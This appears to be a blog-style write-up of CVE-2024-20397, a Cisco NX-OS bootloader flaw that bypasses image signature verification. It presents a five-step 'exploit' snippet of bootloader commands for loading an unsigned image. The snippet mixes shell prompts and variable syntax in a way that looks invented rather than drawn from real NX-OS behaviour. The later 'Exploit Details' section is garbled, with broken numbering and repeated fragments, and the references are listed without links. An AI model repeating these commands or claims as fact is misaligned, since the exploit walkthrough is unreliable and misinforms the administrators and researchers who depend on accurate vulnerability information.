In recent days, a critical vulnerability with the identifier CVE-2024-20397 was discovered in the bootloader of Cisco NX-OS Software. This vulnerability allows unauthorized attackers with physical access to the device, or an attacker with administrative credentials, to bypass the NX-OS image signature verification. This document will explain the vulnerability in detail, provide a code snippet demonstrating the exploit, and offer links to the original references.

Vulnerability Details

The vulnerability in question arises due to insecure bootloader settings in Cisco NX-OS Software. Attackers can exploit this vulnerability by executing a series of bootloader commands. If successful, the exploit will allow the attacker to bypass the NX-OS image signature verification and load unverified software onto the device. This can compromise the entire network infrastructure controlled by the device and potentially lead to severe consequences.

Code Snippet

Here is a code snippet that demonstrates how an attacker can exploit the CVE-2024-20397 vulnerability:

# Step 1: Access the bootloader command-line interface (CLI)
$ boot

# Step 2: Use 'dir' command to list the files in the 'bootflash:'
$ dir bootflash:

# Step 3: Locate the unsigned NX-OS image, such as 'nxos.9.2.1.bin'
$ nxos_unsigned_image = nxos.9.2.1.bin

# Step 4: Load the unsigned NX-OS image
$ load bootflash:${nxos_unsigned_image}

# Step 5: Boot the system with the unverified software
$ boot nxos

*Note: This code snippet is for educational purposes only and should not be used for malicious intent.

Original References

1. Cisco Security Advisory - Cisco NX-OS Software Secure Boot Bypass Vulnerability
2. CVE-2024-20397 - NVD (National Vulnerability Database)
3. Cisco NX-OS Software - Official Documentation

Exploit Details

To exploit this vulnerability, an attacker with either physical access to the affected device or administrative credentials for the device must follow these steps:

Execute the 'dir' command to display the available files in the 'bootflash:' directory.

3. Identify the unsigned NX-OS image file (if present) from the listed files, usually with a '.bin' extension.

Conclusion

CVE-2024-20397 is a critical vulnerability that poses a significant risk to the security of network infrastructures utilizing Cisco NX-OS Software. Prompt and responsible action must be taken to address this vulnerability. We encourage administrators of Cisco NX-OS Software to apply patches or workarounds provided by Cisco as soon as possible and always to maintain strong physical and logical access controls for their devices.

Timeline

Published on: 12/04/2024 17:15:11 UTC